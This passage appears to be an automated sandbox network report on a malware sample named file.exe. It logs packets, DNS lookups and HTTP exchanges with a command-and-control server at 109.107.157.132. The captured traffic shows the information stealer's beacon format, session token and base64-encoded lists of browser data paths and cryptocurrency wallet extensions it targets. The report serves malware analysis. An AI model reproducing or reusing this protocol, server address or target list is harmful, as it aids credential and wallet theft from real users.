Nov 21, 2024 22:35:04.781797886 CET	443	49905	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:04.781809092 CET	49905	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:04.781816006 CET	443	49905	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:04.784964085 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:04.784985065 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:04.785041094 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:04.785191059 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:04.785197020 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:04.957083941 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:04.957551003 CET	49906	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:04.957590103 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:04.958004951 CET	49906	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:04.958019972 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.487799883 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.488423109 CET	49907	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:05.488450050 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.489051104 CET	49907	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:05.489054918 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.559277058 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.562252998 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.562369108 CET	49906	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:05.562441111 CET	49906	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:05.562463045 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.562472105 CET	49906	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:05.562478065 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.566061974 CET	49911	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:05.566102982 CET	443	49911	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.566185951 CET	49911	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:05.566391945 CET	49911	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:05.566402912 CET	443	49911	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.942359924 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.945324898 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.945420027 CET	49907	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:05.945718050 CET	49907	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:05.945732117 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.945740938 CET	49907	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:05.945744991 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.949827909 CET	49912	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:05.949868917 CET	443	49912	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:05.949987888 CET	49912	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:05.950217962 CET	49912	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:05.950242996 CET	443	49912	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.208589077 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.209197998 CET	49908	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.209228992 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.209928036 CET	49908	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.209934950 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.219404936 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.219993114 CET	49909	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.220067978 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.220551968 CET	49909	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.220566988 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.571450949 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.572041035 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.572067976 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.572637081 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.572649002 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.665282965 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.668454885 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.668561935 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.668580055 CET	49909	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.668634892 CET	49909	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.668700933 CET	49909	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.668700933 CET	49909	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.668740034 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.668765068 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.671570063 CET	49913	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.671610117 CET	443	49913	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.671673059 CET	49913	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.671787024 CET	49913	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.671797037 CET	443	49913	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.745438099 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.745531082 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.745646954 CET	49908	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.745708942 CET	49908	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.745708942 CET	49908	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.745744944 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.745763063 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.748145103 CET	49914	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.748178005 CET	443	49914	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:06.748307943 CET	49914	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.748415947 CET	49914	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:06.748436928 CET	443	49914	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:07.015851974 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:07.018909931 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:07.018974066 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:07.019030094 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:07.019043922 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:07.019063950 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:07.019076109 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:07.022284985 CET	49915	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:07.022310019 CET	443	49915	13.107.246.63	192.168.2.4
Nov 21, 2024 22:35:07.022722006 CET	49915	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:07.022917986 CET	49915	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:35:07.022932053 CET	443	49915	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 22:33:07.881351948 CET	53	59474	1.1.1.1	192.168.2.4
Nov 21, 2024 22:33:07.884960890 CET	56282	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:33:07.885195971 CET	53660	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:33:07.892441988 CET	53	53766	1.1.1.1	192.168.2.4
Nov 21, 2024 22:33:08.022382021 CET	53	56282	1.1.1.1	192.168.2.4
Nov 21, 2024 22:33:08.023104906 CET	53	53660	1.1.1.1	192.168.2.4
Nov 21, 2024 22:33:10.700099945 CET	53	57260	1.1.1.1	192.168.2.4
Nov 21, 2024 22:33:19.069004059 CET	138	138	192.168.2.4	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2024 22:33:07.884960890 CET	192.168.2.4	1.1.1.1	0x6543	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:33:07.885195971 CET	192.168.2.4	1.1.1.1	0xd1af	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 22:33:08.022382021 CET	1.1.1.1	192.168.2.4	0x6543	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:33:08.023104906 CET	1.1.1.1	192.168.2.4	0xd1af	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

fs.microsoft.com

slscr.update.microsoft.com

otelrules.azureedge.net

109.107.157.132

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	109.107.157.132	80	7472	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 22:32:59.421811104 CET	90	OUT	GET / HTTP/1.1 Host: 109.107.157.132 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 22:33:00.664283991 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:33:00.688749075 CET	420	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGHIDBKJEGIECBGIEHC Host: 109.107.157.132 Content-Length: 218 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 41 32 44 31 37 38 46 32 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 2d 2d 0d 0a Data Ascii: ------GDGHIDBKJEGIECBGIEHCContent-Disposition: form-data; name="hwid"3BA2D178F2D72284582127------GDGHIDBKJEGIECBGIEHCContent-Disposition: form-data; name="build"LogsDiller1------GDGHIDBKJEGIECBGIEHC--
Nov 21, 2024 22:33:01.135732889 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 54 6b 34 4e 7a 68 6b 4e 54 5a 68 4e 6a 55 77 5a 57 55 7a 4d 6a 52 68 4d 7a 52 6d 4e 7a 42 6d 5a 54 51 33 59 57 45 31 4e 44 41 32 4f 47 55 79 4d 44 6c 6b 4d 6a 4a 69 4d 44 4e 69 4d 32 4d 79 4d 6a 51 7a 4e 32 4e 6b 4f 44 55 7a 59 6d 49 7a 59 57 46 68 4e 54 67 32 4e 57 49 33 5a 6a 5a 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZTk4NzhkNTZhNjUwZWUzMjRhMzRmNzBmZTQ3YWE1NDA2OGUyMDlkMjJiMDNiM2MyMjQzN2NkODUzYmIzYWFhNTg2NWI3ZjZkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 21, 2024 22:33:01.138577938 CET	470	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIID Host: 109.107.157.132 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 2d 2d 0d 0a Data Ascii: ------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="message"browsers------DHIJDHIDBGHJKECBFIID--
Nov 21, 2024 22:33:01.530966997 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 21, 2024 22:33:01.531229019 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 21, 2024 22:33:01.532964945 CET	469	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJEGCGDGHDHIDHDGCB Host: 109.107.157.132 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="message"plugins------BGIJEGCGDGHDHIDHDGCB--
Nov 21, 2024 22:33:01.925913095 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 21, 2024 22:33:01.925970078 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 21, 2024 22:33:01.925981998 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 21, 2024 22:33:01.926115036 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 21, 2024 22:33:01.926126957 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
